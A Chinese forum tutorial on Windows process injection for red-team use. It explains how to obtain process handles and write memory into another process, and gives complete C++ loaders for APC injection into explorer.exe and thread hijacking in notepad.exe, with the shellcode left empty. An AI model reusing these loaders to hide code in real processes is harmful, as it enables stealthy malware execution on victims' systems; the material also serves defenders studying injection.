首页
社区
课程
招聘
[原创]Windows进程注入详解(一)
2023-12-25 18:27 3384

[原创]Windows进程注入详解(一)

2023-12-25 18:27
3384

Windows进程注入详解(一)

概述

进程注入是在红队攻击中十分常用的技术,用于将恶意代码注入到正常的进程中,从而能够隐蔽恶意代码的痕迹。

进程注入的一般步骤如下:

  1. 获取目标进程句柄
  2. 在目标进程中分配新的内存
  3. 将shellcode写入新分配的内存
  4. 执行shellcode

​ 下面对整个过程进行逐一介绍

获取目标进程句柄的方式

​ 想要注入到目标进程,首先是需要获取到目标进程的句柄,这里有一些常见方式,如使用openprocess直接打开目标程序的句柄,或者使用CreateProcess创建一个新的进程可以直接获取这个进程的句柄,也可以通过复制句柄的方式来获取目标进程的句柄。在日常代码编写中,比较常用的是使用CreateToolhelp32Snapshot函数创建快照来获取目标进程信息,然后使用openprocess来获取进程句柄,下面是对每一种方式对详细讲解。

1.打开一个正在进行的进程-OpenProcess

Win32 API: OpenProcess

NT API: NtOpenProcess

OpenProcess 函数:

  • 使用 OpenProcess 函数可以打开一个已存在进程的句柄。需要指定进程的权限(例如,PROCESS_ALL_ACCESS表示所有权限)和进程的ID。
1
2
3
4
5
HANDLE OpenProcess(
    DWORD dwDesiredAccess,  // 进程的访问权限
    BOOL bInheritHandle,    // 是否可继承的句柄
    DWORD dwProcessId        // 目标进程的ID
);

示例:

1
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);

2.创建一个新进程-CreateProcessA

  • Win32 API: CreateProcessA
  • NT API: NtCreateProcessEx, NtCreateUserProcess

CreateProcessA 函数:

CreateProcessA 是Win32 API中用于创建新进程的函数。它创建一个新的进程和它的主线程,同时返回与新进程相关的句柄和标识符。

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
    LPCSTR lpApplicationName,           // 可执行文件的路径
    LPSTR lpCommandLine,                // 命令行参数
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,              // 控制进程的创建标志
    LPVOID lpEnvironment,               // 新进程的环境块
    LPCSTR lpCurrentDirectory,          // 新进程的当前目录
    LPSTARTUPINFOA lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation // 存储新进程的信息
);

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
STARTUPINFOA si;
PROCESS_INFORMATION pi;
 
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
 
if (CreateProcessA(
        "C:\\Path\\To\\Your\\Executable.exe",
        NULL,  // Command line arguments
        NULL,  // Process security attributes
        NULL,  // Thread security attributes
        FALSE, // Inherit handles
        0,     // Creation flags
        NULL,  // Environment block
        NULL,  // Current directory
        &si,   // Startup information
        &pi    // Process information
    ))
{
    // 新进程创建成功,可以使用 pi 中的句柄等信息
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

3.进程复制-DuplicateHandle

复制(Duplicate)现有进程的句柄通常是通过 DuplicateHandle 函数来实现的。该函数允许在两个不同的进程之间复制句柄。下面是关于这个过程的详细介绍:

函数介绍:

1
2
3
4
5
6
7
8
9
BOOL DuplicateHandle(
  HANDLE   hSourceProcessHandle,  // 源进程句柄
  HANDLE   hSourceHandle,         // 源句柄
  HANDLE   hTargetProcessHandle,  // 目标进程句柄
  LPHANDLE lpTargetHandle,        // 目标句柄的指针
  DWORD    dwDesiredAccess,       // 访问权限
  BOOL     bInheritHandle,        // 是否继承句柄
  DWORD    dwOptions              // 选项
);

参数解释

  • hSourceProcessHandle:源进程的句柄,这是包含源句柄的进程的句柄。
  • hSourceHandle:要复制的源句柄。
  • hTargetProcessHandle:目标进程的句柄,这是接收复制句柄的进程的句柄。
  • lpTargetHandle:指向接收复制句柄的变量的指针。
  • dwDesiredAccess:新句柄的访问权限。通常设置为 PROCESS_ALL_ACCESS 表示完全访问权限。
  • bInheritHandle:指定新句柄是否可以被子进程继承。
  • dwOptions:指定一些选项,通常为 0

返回值

如果函数成功,返回非零值;如果函数失败,返回零。可以通过调用 GetLastError 获取详细的错误信息。

代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <Windows.h>
#include <iostream>
 
int main() {
    // 假设已有一个进程句柄 hSourceProcessHandle 和一个源句柄 hSourceHandle
 
    // 创建目标进程
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    if (CreateProcess(L"C:\\Path\\Target.exe", nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi)) {
        // 在目标进程中复制句柄
        HANDLE hTargetHandle = nullptr;
        if (DuplicateHandle(GetCurrentProcess(), hSourceHandle, pi.hProcess, &hTargetHandle, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
            std::cout << "[+] Handle duplicated successfully!" << std::endl;
 
            // 在这里可以在目标进程中使用 hTargetHandle 进行操作
 
            // 关闭复制后的句柄
            CloseHandle(hTargetHandle);
        } else {
            std::cerr << "[-] Failed to duplicate handle! Error code: " << GetLastError() << std::endl;
        }
 
        // 关闭进程和线程句柄
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    } else {
        std::cerr << "[-] Failed to create process! Error code: " << GetLastError() << std::endl;
    }
 
    return 0;
}

获取进程信息

另外需要介绍一下获取进程信息的两种方式,通过这些方式能够帮助我们快速定位到目标程序获取其信息,从而获取目标进程句柄。

创建进程快照-CreateToolhelp32Snapshot

CreateToolhelp32Snapshot,它的主要作用是创建一个系统快照,允许你枚举系统中的进程、模块、线程等信息。通过遍历快照,你可以获得关于这些系统资源的信息。

使用 CreateToolhelp32Snapshot 创建一个系统进程和线程快照,然后使用 Process32FirstProcess32Next 函数遍历快照以查找目标进程。

1
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

示例:(经测试)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include<Windows.h>
#include<TlHelp32.h>
#include<iostream>
 
HANDLE GetTargetProcessHandle(const wchar_t* targetProcessName) {
    //创建快照 TH32CS_SNAPPROCESS代表快照类型为所有进程信息 0代表获取整个系统的进程快照
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 
    if (snapshot == INVALID_HANDLE_VALUE) {
        std::cout << "[-] error create snapshot!" << std::endl;
        return NULL;
    }
 
    //初始化结构体信息,用于枚举进程
    PROCESSENTRY32 processEntry;
    processEntry.dwSize = sizeof(PROCESSENTRY32);
 
    //遍历快照进程,查找目标进程
    if (Process32First(snapshot, &processEntry)) {
        do {
            //_wcsicmp是宽字符版本的字符串比较,不考虑大小写
            if (_wcsicmp(processEntry.szExeFile, targetProcessName)==0) {
                //如果相等则找到进程,打开进程句柄
                HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
 
                std::cout << "[+] find target handle success!" << std::endl;
                //关闭快照句柄
                CloseHandle(snapshot);
                return hProcess;
 
            }
        } while (Process32Next(snapshot, &processEntry));
    }
    CloseHandle(snapshot);
    std::cout << "[-] none process was found!" << std::endl;
    return NULL;
 
 
}
 
 
 
int main() {
    const wchar_t* targetProcessName = L"explorer.exe";
 
    HANDLE hTargetProcess = GetTargetProcessHandle(targetProcessName);
 
    if (hTargetProcess != NULL) {
        std::cout << "[+] successfully!" << std::endl;
 
        CloseHandle(hTargetProcess);
 
    }
    else {
        std::cout << "[-] fail!" << std::endl;
    }
    return 0;
 
}
进程枚举-EnumProcesses函数

EnumProcesses 函数是 Windows API 提供的一个用于枚举系统中所有进程ID的函数。它可以帮助你获取系统中运行的所有进程的进程ID,然后你可以根据这些进程ID来获取进程句柄

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <windows.h>
#include <iostream>
 
// 获取指定进程的句柄
HANDLE GetProcessHandleByName(const wchar_t* processName) {
    // 获取系统中所有进程ID的数组
    DWORD processIds[1024], bytesReturned;
    if (!EnumProcesses(processIds, sizeof(processIds), &bytesReturned)) {
        std::cerr << "[-] EnumProcesses failed! Error code: " << GetLastError() << std::endl;
        return NULL;
    }
 
    // 计算实际获取的进程ID数量
    DWORD processCount = bytesReturned / sizeof(DWORD);
 
    // 遍历进程ID数组
    for (DWORD i = 0; i < processCount; ++i) {
        // 打开进程
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processIds[i]);
        if (hProcess == NULL) {
            std::cerr << "[-] OpenProcess failed for process ID " << processIds[i] << "! Error code: " << GetLastError() << std::endl;
            continue// 继续下一个进程
        }
 
        // 获取进程名
        wchar_t currentProcessName[MAX_PATH];
        if (GetProcessImageFileName(hProcess, currentProcessName, MAX_PATH) > 0) {
            // 使用路径获取进程名
            wchar_t* processFileName = wcsrchr(currentProcessName, L'\\');
            if (processFileName != NULL) {
                ++processFileName;  // 跳过反斜杠
                // 比较进程名是否匹配
                if (_wcsicmp(processFileName, processName) == 0) {
                    std::cout << "[+] Found target process handle successfully!" << std::endl;
                    return hProcess;
                }
            }
        }
 
        // 关闭当前进程句柄
        CloseHandle(hProcess);
    }
 
    std::cerr << "[-] No process with the specified name was found!" << std::endl;
    return NULL;
}
 
int main() {
    const wchar_t* targetProcessName = L"explorer.exe";
 
    HANDLE hTargetProcess = GetProcessHandleByName(targetProcessName);
 
    if (hTargetProcess != NULL) {
        // 在这里可以使用hTargetProcess进行一些操作
        std::cout << "[+] Operation was successful!" << std::endl;
 
        // 关闭进程句柄
        CloseHandle(hTargetProcess);
        return 1;  // 表示成功
    } else {
        std::cerr << "[-] Operation failed!" << std::endl;
        return 0;  // 表示失败
    }
}
与CreateToolhelp32Snapshot异同

EnumProcessesCreateToolhelp32Snapshot 是两个不同的 Windows API 函数,都用于获取系统中运行的进程信息,但它们有一些区别。

  1. 枚举方式:
    • EnumProcesses 通过直接枚举系统中的进程ID,提供了一种较为底层的方法。它返回的是系统中所有运行进程的进程ID,而不提供其他详细信息。你需要额外的步骤来获取每个进程的详细信息,如进程名、路径等。
    • CreateToolhelp32Snapshot 则提供了一个更高级别的接口,允许你创建一个进程/线程/模块的快照,然后遍历该快照以获取详细信息。CreateToolhelp32Snapshot 返回的是一个快照的句柄,可以用于枚举系统中的进程、线程和模块。
  2. 信息获取:
    • EnumProcesses 返回的是进程ID数组,需要通过进一步的步骤(如 OpenProcess)来获取每个进程的详细信息。
    • CreateToolhelp32Snapshot 返回的是一个快照句柄,可以通过 Process32FirstProcess32Next 等函数遍历获取每个进程的详细信息,包括进程ID、线程信息、模块信息等。
  3. 权限需求:
    • EnumProcesses 可能需要更高的权限,因为它直接尝试打开每个进程的句柄。在一些情况下,可能会遇到访问权限的问题。
    • CreateToolhelp32Snapshot 通常对权限的要求相对较低,因为它创建了一个快照,而不是直接打开进程句柄。但在一些特殊情况下,可能仍需要一些权限。

分配内存并将shellcode写入目标进程

在写入shellcode需要考虑以下几点:

  1. 是否有足够的特权将代码写入远程进程

在 Windows 操作系统中,为了将代码注入到远程进程中,需要具备足够的特权。具体来说,需要有 PROCESS_VM_OPERATIONPROCESS_VM_WRITE 权限,这样才能在目标进程的虚拟地址空间中执行写操作。这通常需要使用 OpenProcess 函数以及 VirtualAllocExWriteProcessMemory 等函数。

  1. 是否能够定位在远程进程中发送的恶意代码的地址

在注入代码后,需要知道在目标进程的什么位置放置了恶意代码。这通常涉及到远程线程注入或者通过 VirtualAllocEx 分配内存时获取返回的地址。需要能够追踪或记录目标进程中的代码位置,以便后续执行。

  1. 远程进程的内存区域是否有足够的内存访问权限来写入和执行代码
  • 内存权限: 需要确保目标进程中的内存区域具有足够的权限,允许写入和执行代码。通常,需要查找可写入(W)和可执行(X)的内存区域。然而,现代操作系统为了安全起见,通常要求内存区域要么是可写的,要么是可执行的,即 W^X(写入和执行互斥)策略。
  • 内存保护: 可能需要修改内存区域的保护标志,使其允许代码的写入和执行。这通常涉及到使用 VirtualProtectEx 等函数。

也就是说,写入和执行都需要对应的权限,我们可以在使用VirtualAllocEx函数时进行配置。

具体操作

  1. 分配具有 READ、WRITE 和 Execute 访问权限的新内存区域

Win32 API: VirtualAllocEx

VirtualAllocEx 函数用于在远程进程中分配新的虚拟内存区域。在这一步,通常需要分配具有读、写和执行权限的内存区域,以便成功执行注入的代码。

1
2
3
4
5
6
7
LPVOID remoteBuffer = VirtualAllocEx(
    hProcess,             // 目标进程句柄
    NULL,                 // 指定分配的首选地址(可为 NULL)
    shellcodeSize,        // 分配的内存大小
    MEM_COMMIT | MEM_RESERVE, // 分配类型
    PAGE_EXECUTE_READWRITE    // 内存保护标志,允许读、写和执行
);

NT API: NtAllocateVirtualMemory

对应的 Windows NT API 是 NtAllocateVirtualMemory

  1. 将 Payload 写入到内存中

Win32 API: WriteProcessMemory

WriteProcessMemory 函数用于将数据写入远程进程的内存空间。在这里,用于注入的恶意代码被写入到先前分配的远程内存区域。

1
2
3
4
5
6
7
WriteProcessMemory(
    hProcess,           // 目标进程句柄
    remoteBuffer,       // 远程进程内存地址
    shellcode,          // 要写入的数据(Payload)
    shellcodeSize,      // 数据大小
    NULL                // 用于存储实际写入的字节数(可为 NULL)
);

NT API: NtWriteVirtualMemory

对应的 Windows NT API 是 NtWriteVirtualMemory

  1. 修改内存保护

在有些情况下,为了执行写入的代码,可能需要修改内存保护标志。通常,将原先的 PAGE_READWRITE 修改为 PAGE_EXECUTE_READ 或相反。

Win32 API: VirtualProtectEx

1
2
3
4
5
6
7
8
DWORD oldProtect;
VirtualProtectEx(
    hProcess,           // 目标进程句柄
    remoteBuffer,       // 要修改的内存区域的地址
    shellcodeSize,      // 内存区域的大小
    PAGE_EXECUTE_READ,  // 新的内存保护标志
    &oldProtect         // 用于存储原先的内存保护标志的变量
);

NT API: NtProtectVirtualMemory

对应的 Windows NT API 是 NtProtectVirtualMemory

执行写入的shellcode

执行写入的shellcode的方式就很多了,常见的方式有创建远程线程、APC、线程劫持等

APC注入

​ 在Windows操作系统中,APC(Asynchronous Procedure Call,异步过程调用)机制是一种用于实现异步执行代码的机制。APC允许在指定的线程上执行用户定义的函数,而无需等待线程主动调用该函数。APC通常用于实现一些异步操作,如异步I/O、定时器、信号等。APC机制在实现一些异步操作时非常有用,它允许程序在某个线程中异步执行一些代码,而不必等待该线程的主动调用。

核心函数

QueueUserAPC

QueueUserAPC 是Windows操作系统提供的一个函数,用于将异步过程调用(APC)插入到指定线程的用户模式执行流程中。APC是一种轻量级的机制,允许在指定线程上执行用户定义的函数,而无需等待线程主动调用这个函数。QueueUserAPC 允许在特定线程上安排一个APC,从而在目标线程的执行流程中异步执行用户定义的代码。

以下是 QueueUserAPC 函数的详细介绍:

1
2
3
4
5
BOOL QueueUserAPC(
  PAPCFUNC  pfnAPC,
  HANDLE    hThread,
  ULONG_PTR dwData
);
  • pfnAPC: 指向用户定义的 APC 回调函数的指针。回调函数的原型为 VOID CALLBACK PAPCFUNC(ULONG_PTR dwParam),其中 dwParam 是用户传递给 APC 的数据。

  • hThread: 目标线程的句柄,表示将要执行 APC 的线程。

  • dwData: 用户定义的数据,将被传递给 APC 回调函数。

使用步骤:

  1. 定义回调函数: 首先,需要定义一个符合 PAPCFUNC 原型的回调函数,用于执行异步的操作。

    1
    2
    3
    VOID CALLBACK MyAPCFunction(ULONG_PTR dwParam) {
        // 执行异步操作
    }
  2. 初始化线程: 在目标线程启动之前,需要确保线程已被创建,并且线程句柄有效。

  3. 调用 QueueUserAPC 函数: 在任何线程中,通过调用 QueueUserAPC 函数将回调函数插入到目标线程的执行流程中。

    1
    2
    3
    4
    5
    6
    7
    8
    HANDLE hThread = // 获取目标线程的句柄
    ULONG_PTR dwData = // 用户定义的数据
     
    if (QueueUserAPC(MyAPCFunction, hThread, dwData)) {
        // 成功将 APC 插入到目标线程
    } else {
        // 插入失败,处理错误
    }

需要注意的是,QueueUserAPC 并不会立即执行 APC 回调函数,而是等待目标线程处于能够执行 APC 的状态时才执行。目标线程可能需要处于等待状态,或者执行某些特定的系统调用时,APC 才会被执行。

实现代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <windows.h>
#include <tlhelp32.h>
#include <vector>
 
 
 
int main()
{
    // 1. 定义shellcode
    UINT shellcodeSize = 0;
    unsigned char* shellcode = "";
 
    // 2. 获取 explorer 进程句柄,分配 shellcode 的内存
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
 
    if (Process32First(snapshot, &processEntry))
    {
        while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0)
        {
            Process32Next(snapshot, &processEntry);
        }
    }
 
    HANDLE victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
    // 3. 执行 shellcode
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, shellcode, shellcodeSize, NULL);
 
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
 
    if (Thread32First(snapshot, &threadEntry))
    {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID)
            {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }
 
    for (DWORD threadId : threadIds)
    {
        HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        Sleep(1000 * 2);
    }
 
    // 释放资源
    CloseHandle(victimProcess);
    CloseHandle(snapshot);
 
    return 0;
}

线程劫持注入

线程劫持注入通过劫持目标进程中的一个或多个线程,使其执行注入的代码。

进行线程劫持的步骤如下:

  1. 获取目标进程的句柄:
    首先,需要获取目标进程的句柄,通过 OpenProcess 函数来实现。

    1
    HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
  2. 在目标进程中分配内存并写入注入代码:
    使用 VirtualAllocEx 在目标进程中分配内存,并使用 WriteProcessMemory 将注入的代码写入该内存区域。

    1
    2
    PVOID remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, codeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(targetProcessHandle, remoteBuffer, injectedCode, codeSize, NULL);
  3. 获取目标线程的句柄:
    通过遍历目标进程的线程,获取一个或多个目标线程的句柄。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    HANDLE threadHijacked = NULL;
    THREADENTRY32 threadEntry;
    threadEntry.dwSize = sizeof(THREADENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
     
    Thread32First(snapshot, &threadEntry);
    while (Thread32Next(snapshot, &threadEntry))
    {
        if (threadEntry.th32OwnerProcessID == targetPID)
        {
            threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
            break;
        }
    }
  4. 暂停目标线程:
    使用 SuspendThread 函数暂停目标线程的执行。

    1
    SuspendThread(threadHijacked);
  5. 修改目标线程上下文:
    获取目标线程的上下文信息,修改其中的寄存器值,使其指向注入代码的起始地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL;
    GetThreadContext(threadHijacked, &context);
     
    #ifdef _M_X64
    context.Rip = (DWORD_PTR)remoteBuffer;
    #else
    context.Eip = (DWORD_PTR)remoteBuffer;
    #endif
     
    SetThreadContext(threadHijacked, &context);
    • #ifdef _M_X64 是一个条件编译指令,它检查宏_M_X64是否已经定义。这个宏通常由编译器自动生成,表示代码是否正在为 64 位平台编译。
    • context.Ripcontext.Eip 分别是CONTEXT结构体中的成员,用于表示目标线程的指令指针(Instruction Pointer)。在 64 位平台上,通常使用Rip(64 位指令指针),而在 32 位平台上使用Eip(32 位指令指针)。
    • (DWORD_PTR)remoteBuffer 将Shellcode的起始地址强制转换为一个指针大小的整数类型(DWORD_PTR),以适应不同平台的指针大小。
    • 根据宏_M_X64的定义,将context.Ripcontext.Eip设置为Shellcode的起始地址。在 64 位平台上,将Rip设置为Shellcode的起始地址,而在 32 位平台上,将Eip设置为Shellcode的起始地址。
  6. 恢复目标线程:
    使用 ResumeThread 函数将目标线程恢复执行。

    1
    ResumeThread(threadHijacked);

通过以上步骤,注入的代码将在目标线程中得到执行。这种注入技术的优点是不需要创建新的线程,而是利用目标进程中已有的线程来执行注入的代码,减少了对目标进程的影响。但需要注意,线程劫持注入可能会对目标线程的执行造成一些影响,特别是在注入的代码执行期间,目标线程将处于暂停状态。

实现代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <windows.h>
#include <tlhelp32.h>
#include <winternl.h>
 
 
int main()
{
    // 1. 定义Shellcode 及其大小
    UINT shellcodeSize = 0;
    unsigned char* shellcode = "";
 
    // 2. 执行 Shellcode
    HANDLE targetProcessHandle;
    PVOID remoteBuffer;
    HANDLE threadHijacked = NULL;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 threadEntry;
    CONTEXT context;
    PROCESSENTRY32 processEntry = { 0 };
    processEntry.dwSize = sizeof(PROCESSENTRY32);
 
    // 遍历进程快照,找到 Notepad 进程
    if (Process32First(snapshot, &processEntry))
    {
        while (_wcsicmp(processEntry.szExeFile, L"notepad.exe") != 0)
        {
            Process32Next(snapshot, &processEntry);
        }
    }
 
    DWORD targetPID = processEntry.th32ProcessID;
    context.ContextFlags = CONTEXT_FULL;
    threadEntry.dwSize = sizeof(THREADENTRY32);
 
    // 打开目标进程
    targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
 
    // 在目标进程中分配内存空间
    remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
 
    // 将 Shellcode 写入目标进程内存空间
    WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, shellcodeSize, NULL);
 
    // 遍历线程快照,找到目标线程
    Thread32First(snapshot, &threadEntry);
    while (Thread32Next(snapshot, &threadEntry))
    {
        if (threadEntry.th32OwnerProcessID == targetPID)
        {
            threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
            break;
        }
    }
 
    // 挂起目标线程
    SuspendThread(threadHijacked);
 
    // 获取目标线程上下文
    GetThreadContext(threadHijacked, &context);
 
    // 设置目标线程上下文的指令指针到 Shellcode 的起始地址
#ifdef _M_X64
    context.Rip = (DWORD_PTR)remoteBuffer;
#else
    context.Eip = (DWORD_PTR)remoteBuffer;
#endif // x64
 
    // 更新目标线程上下文
    SetThreadContext(threadHijacked, &context);
 
    // 恢复目标线程
    ResumeThread(threadHijacked);
 
    // 关闭句柄
    CloseHandle(targetProcessHandle);
    CloseHandle(threadHijacked);
    CloseHandle(snapshot);
 
    return 0;
}

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 19389
活跃值: (29037)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-12-27 10:44
2
1
感谢分享
雪    币: 842
活跃值: (3520)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
逆向爱好者 2024-1-10 18:49
3
0
ri注入修改rip执行完shellcode不恢复原来的不会蹦么
游客
登录 | 注册 方可回帖
返回